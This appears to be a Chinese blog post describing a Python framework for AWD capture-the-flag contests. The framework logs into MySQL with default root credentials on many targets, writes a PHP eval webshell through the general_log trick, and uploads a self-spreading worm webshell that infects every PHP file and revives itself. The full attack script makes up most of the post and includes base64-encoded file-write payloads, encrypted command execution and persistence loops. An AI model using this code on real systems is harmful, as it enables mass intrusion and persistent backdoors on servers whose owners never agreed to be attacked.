经验总结
基于AWD比赛的蠕虫webshell(二)
2019-10-18 14:10

0x00 python维持复活框架

一个蠕虫webshell只是相当于一枚好的子弹,我们还需要配置一把枪来搭配使用,那么如何做到我们落地98k,别人落地还要慢慢捡枪才能吃鸡呢。
上篇只是的简单执行命令的客户端,但下面这个是基于这个蠕虫webshell的python维持复活框架,大致思路是这样的。

0x01 webshell特性

首先回顾一下最终版蠕虫webshell的特性如下:

  1. 递归扫描所有web目录及文件,全部扫到的php写入webshell

  2. 网站全部php可作为webshell连接执行命令

  3. 不带参数请求又可以正常访问原页面,不影响访问

  4. 所有web路径目录写入单独一个特定webshell

  5. 判断是否写过不再重复写入

  6. 所有php页面都可以互相复活蠕虫webshell

  7. 蠕虫webshell返回所有php文件url地址

  8. 蠕虫webshell发送返回数据传输加密

  9. 数字签名校验执行、5秒后不可重放

  10. 页面功能性可控(可以使全部php原有功能失效,只剩下webshell功能)

  11. 前端互相复活以及反渗透

  12. 适配meterpreter连接

  13. 加密混淆

具体的蠕虫webshell代码详情可以参考上一篇文章:基于AWD比赛的蠕虫webshell

0x02 流程

根据以上蠕虫webshell特性我们可以设计一个框架出来使蠕虫从生成到维持最后互相复活,如果都被删了或者对手重置环境,就自动快速重新getshell再次复活。

图片1.jpg

简单来说就是,python有技巧地批量请求所有靶机ip。只需编写getshell的模块,模块返回一个蠕虫webshell的url,就会自动本地传播感染所有php文件,即使比赛对手重置环境会重新getshell再次感染,删掉其中一个马会使用其他被感染的马复活。

如果在代码最后面加个exit();全部php页面将会失效只剩下webshell功能。(适用于登山夺旗模式比赛)因为比赛环境实在太多突发状况,我认为已经考虑到比较多出现的情况就是超时,webshell失效,漏洞修补完成,上马后别人删所有文件等等,但不排除还会有其他错误使这个py跑崩的情况,目前没发现。

0x03 代码解析

框架中假设这个情况是数据库的root/root密码getshell。并且在自己awd服务器查到web绝对路径是/var/www/html(比赛时靶机大家都一样,可以查看自己的绝对路径),我们的getshell方式是数据库日志写shell,然后通过shell上传蠕虫webshell,再维持权限和复活。

是有了以下的代码,要结合上面的思路图来看。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
# made by 3s_NwGeek
import requests,random,MySQLdb,re,base64
import time
from gevent import monkey
from gevent.pool import Pool
from bs4 import BeautifulSoup
from urllib import unquote
monkey.patch_all()
passwd = 'admin'#这是蠕虫webshell的密码

username="root"#数据库名一定要root权限才可以有效写文件
login_psw="root"
webshell_path= 'http://TARGET_IP/service.php'#要跟查询路径的文件名相同!!!!!!!!!
webshell_psw='a111'
localfile = 'C:\Users\\3s_NwGeek\Desktop\\light.php'  # 本地待上传的马文件名

#Secure_file_priv <5.5.53可以直接loadfile读flag,然后命令行curl提交
# #路径要改,log_file = 'C:/phpstudy/WWW/test1.php'一定要跟上面webshell_path保持统一文件名
webroot='D:/installed_software/phpstudy/WWW'
cmd='del %s/service.php'%webroot
#数据库要执行的命令
sqlquerys=('''select @@version;
set global general_log = off;
set global general_log = on;
set global general_log_file = '%s/service.php';
select "<?php phpinfo();eval($_POST['a111']);exit();?>";
set global general_log = off;
'''%webroot).splitlines()

#TARGET_IP不用改,会在函数中替换,填多几个php作为备用访问
bakup_webshell_url='''http://TARGET_IP/index.php
http://TARGET_IP/light.php'''.splitlines()


#批量目标主机,格式127.0.0.1:80
targets=open("C:\Users\\3s_NwGeek\Desktop\\target.txt").read().splitlines()#批量目标


##只需填上面的部分即可
localfile_content = open(localfile, 'rb').read()
def main(target):

    while True:
        usual_get(target)
        webshell_url=upupup(target)
        #读取url  php -loadip 、reupload、get ?_、norespond、random get
        # print webshell_url,'testing!!!!'
        if not webshell_url:
            print 'if not webshell_url and continute'
            continue
        elif 'http' not in webshell_url:
            time.sleep(3)
            # print "主循环一次"
            print 'elif http not in webshell_url:'
            continue

        tar,res=maintain_webshell(webshell_url,target)
        if len(res)>0:
            random_get(target,res)
        else:
            # print len(res),res
            pass
        time.sleep(5)
        # print "主循环一次"

#getshell函数,框架要求return蠕虫webshell的url即可
def upupup(target):
    try:
        conn = MySQLdb.connect(host=target, user=username, passwd=login_psw,port=3306,connect_timeout=1)
        print target,':login scceuss'
        time.sleep(0.5)
        cursor = conn.cursor()
        # 使用execute方法执行SQL语句
        # cursor.execute('set password for
root@localhost = password("%s"); '%change_pwd)
        for sql_q in sqlquerys:
            cursor.execute(sql_q)
            time.sleep(0.5)
            data = cursor.fetchone()
            if data:
                print "%s return : %s " % (target, data)
        # 使用 fetchone() 方法获取一条数据
        # 关闭数据库连接
        conn.close()
        reg = ".*/([^/]*\.php?)"
        w_path = webshell_path.replace('TARGET_IP', target)
        print w_path
        match_shell_name = re.search(reg, w_path)
        if match_shell_name:
            shell_name = match_shell_name.group(1)  # 1.php
            shell_path = ""
            try:
                data = {}
                data[webshell_psw] =
'@eval(base64_decode($_POST[z0]));'
                data['z0'] = 'ZWNobyAnIS1fLSEtXy0hJy4kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLichLV8tIS1fLSEnOw=='
                shell_path = re.findall(re.compile(r'\!-_-\!-_-\!.+\!-_-\!-_-\!'), requests.post(w_path, data).text.strip())[0].replace('!-_-!-_-!', '')#获取绝对路径
                # print shell_path
                target_path = shell_path.split(shell_name)[0].replace('TARGET_IP', target)  + '/.Conf_check.php' # 获取上传绝对路径文件地址
                # print 'target_path:',target_path
                target_path_base64 = base64.b64encode(target_path)
                # print w_path,w_path.split(shell_name)
                target_file_url = w_path.split(shell_name)[0].replace('TARGET_IP', target) + '/.Conf_check.php'  # 上传url地址
                # print 'target_file_url:',target_file_url
                data = {}
                data[webshell_psw] =
'@eval(base64_decode($_POST[z0]));'
                data[
                    'z0'] = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRidWY9IiI7CmZvcigkaT0wOyRpPHN0cmxlbigkYyk7JGkrPTEpCiAgICAkYnVmLj1zdWJzdHIoJGMsJGksMSk7CmVjaG8oQGZ3cml0ZShmb3BlbigkZiwidyIpLCRidWYpKTsKZWNobygifDwtIik7CmRpZSgpOw=='
                data['z1'] = target_path_base64
                data['z2'] = base64.b64encode(localfile_content)
                # print 'webshell_path:',w_path,data
                requests.post(w_path , data).text.strip()
                if 'check_url' in requests.get(target_file_url + "?_").content:
                    print target,':getshell success!!!!!!!!!!!!!!',excmd(target_file_url, passwd, cmd, encoding='utf-8')

                    return target_file_url.replace('TARGET_IP', target)
            except Exception as e:
                if 'list out of range' in str(e):
                    print target,'日志获取根路径错误:target_path'
                print e
                pass
    except Exception as e:
        print target+' is no vul:','有可能输入格式错误',e


def maintain_webshell(webshell_url, target, Timeout=5):#检测函数,返回检测目标,检测结果
    # print "进入maintain_webshell()"
    head = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Connection': 'close',
            'Upgrade-Insecure-Requests': '1',
            'Cache-Control': 'max-age=0'}
    try:
        r=requests.get(webshell_url + '?_', headers=head,timeout=5,proxies={'http': 'http://127.0.0.1:8080'})
        # print r.content
        # html=BeautifulSoup(r.content.decode('gb2312','ignore'),'lxml')#注意根据实际情况编码
        html = BeautifulSoup(r.content, 'lxml', from_encoding="utf8")  # 注意根据实际情况编码
        checks_arr = html.find_all(attrs={'id': 'check_url'})#获取url
        if len(checks_arr)<2:#爬取失败重传马
            print target,"%s 获取phpurl:%d 状态码 %d webshell失效,正在尝试重传webshell\n" % (webshell_url,len(checks_arr),r.status_code)
            time.sleep(0.5)
            webshell_url, check_res=maintain_webshell(upupup(target), target)#
            # usual_get(target)
        else:
            check_res = []
            for check_str in checks_arr:
                check_res.append(check_str.string)

        print "权限维持成功:",target,len(check_res),webshell_url
        # print "跳出maintain_webshell():find_allphp"
        return webshell_url, check_res
    except Exception as e:
        if 'timeout' in str(e):
            RCE_res=excmd(webshell_url, passwd, 'echo testRCE')
            if RCE_res:
                print target,':执行命令成功,但感染超时,请使用轻便版--------->',RCE_res
                return webshell_url,bakup_webshell_url
            else:
                print target+':执行命令失败,可能权限不足感染失败,或者php遍历函数被禁,or 主机连接失败'
        print target,'err from maintain_webshell',e
        # print "跳出maintain_webshell():err"
        return webshell_url,[]

def random_get(target,res):
    try:
        # print "进入random_get"
        buff=res
        while len(res)>1:
            ran_url=random.sample(buff,1)[0]
            ran_url, res = maintain_webshell(ran_url, target)
            if len(res)<2:#失效情况下
                random.shuffle(buff)
                for url in buff:
                    url, res = maintain_webshell(url, target)
                    if len(res)>2:
                        buff=res
                        break
                    print target,'该webshell失效,正在尝试缓存buff'
            elif len(res)>=2:#成功情况下
                buff=list(set(buff+res))
                # print buff
                print len(buff)
                time.sleep(3)
            else:
                print "random_get——res:",res,"buff:",buff

        usual_get(target)
        # print "跳出random_get()"# print '权限维持成功:', len(res),r, res
    except Exception as e:
        print '%s   "err from random_get":上传webshell_url错误!:%s'%(target,e)
        pass

def usual_get(target):
    try:
        # print "进入usual_get()"
        base_url='http://'+target+'/.Conf_check.php'
        w_url,res=maintain_webshell(base_url,target)
        if len(res)>1:
            # print res
            random_get(target,res)
        # print "跳出usual_get()"
    except:
        pass
################以下为命令执行函数
def getSerTime(url):
    ser_time_format = '%a, %d %b %Y %H:%M:%S GMT'
    head = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Connection': 'close',
            'Upgrade-Insecure-Requests': '1',
            'Cache-Control': 'max-age=0'}
    r = requests.get(url, allow_redirects=False,headers=head,proxies={'http': 'http://127.0.0.1:8080'})
    if r.headers['Date']:
        stimestrp = time.strptime(r.headers['Date'], ser_time_format)
        stime = time.mktime(stimestrp) + 60 * 60 * 8    # GMT + 8 时区
        timeskew = int(time.time()) - int(stime)
        return timeskew
    else:
        return None
# 加密
def encrypt(string, salt, encoding='utf-8'):
    estring = ''
    b64string = base64.b64encode(string.encode(encoding)).decode('utf-8')
    for n, char in enumerate(b64string):
        estring += chr(ord(char) ^ n % salt)
    return estring
# 解密
def decrypt(estring, salt, encoding='utf-8'):
    data=estring[::-1].replace('cAFAcABAAswTA2GE2c','i').replace(':kcehc_revres','=').encode('unicode_escape').decode("string_escape")
    string=unquote(base64.urlsafe_b64decode(data))
    # string=unicode(string, "gb2312").encode("utf8")#有中文乱码去掉这个注释
    return string
# 命令执行
def excmd(url, passwd, cmd, encoding='utf-8'):
    try:
        timeskew = getSerTime('/'.join(url.split('/')[:-1]))
        # 校对服务器时间,防止时间差造成API校验失败
        nowtime = int(time.time())
        if timeskew == None:
            print('检查服务器时间出错,请手动确认服务器时间!')
            # 手动获取服务器时间戳,并保存到servtime变量中,int类型
            servtime = time.time()
            nowtime = servtime
        else:
            nowtime -= timeskew
        # 开始发起请求
        passwd = md5(passwd.encode('utf-8')).hexdigest()
        salt = int(random.random() * 100)
        ecmd = encrypt(cmd, salt)
        sign_tmp = ecmd + passwd + str(nowtime) + str(salt)
        sign = md5(sign_tmp.encode('utf-8')).hexdigest()
        parameters = {
            'time': nowtime,
            'check': ecmd,
            'salt': salt,
            'sign': sign
        }
        head = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
                'Connection': 'close',
                'Upgrade-Insecure-Requests': '1',
                'Cache-Control': 'max-age=0'}
        r = requests.get(url, params=parameters, headers=head,proxies={'http': 'http://127.0.0.1:8080'},timeout=3)
        # r = requests.post(url, data=parameters, headers=head, proxies={'http': 'http://127.0.0.1:8080'}),
        if '0:' in r.text:print '执行成功:',
        res = decrypt(r.content.decode('utf-8').replace('0:',''), salt, encoding)
        return res
    except Exception as e:
        pass
        print(url,'参数配置错误,连接异常err:%s'%str(e))
        # traceback.print_exc()

if __name__ == '__main__':

    # main(target)
    pool = Pool(len(targets))#批量
    pool.map(main, targets)#一个线程一个target


效果如下: 


0x04 框架通用getshell函数编写

有了这个框架,除了数据库写shell当然有很多getshell的方法,于是有了对应的脚本,通通写好。

可以把你getshell的方法写到upupup函数就ok了,最终return一个蠕虫webshell url运行即可。

  1. Getshell模块可以改为任意方式getshell填充到upupup函数里

  2. 会感染所有php

  3. 路径文件出现中文可能报错提示,但不影响维持运行

  4. 删除每个目录下的单独马会复活

  5. 直到所有被感染过的所有php都无法访问会重新getshell

实际操作如以下:


0x05 缺点与不足

很多时候都是权限造成的写入失败,有命令执行的时候建议chmod 777 -R *,再curl -o 落地会增加成功几率。


0x06 蠕虫webshell最终版

蠕虫webshell代码详情可以参考上一篇文章基于AWD比赛的蠕虫webshell,但实际我最终在awd比赛中用的是混淆版本,对方很难短时间内解密,已上传至github:https://github.com/3sNwgeek/awd_worm_phpwebshell_framework/,最后祝大家年末比赛顺利。

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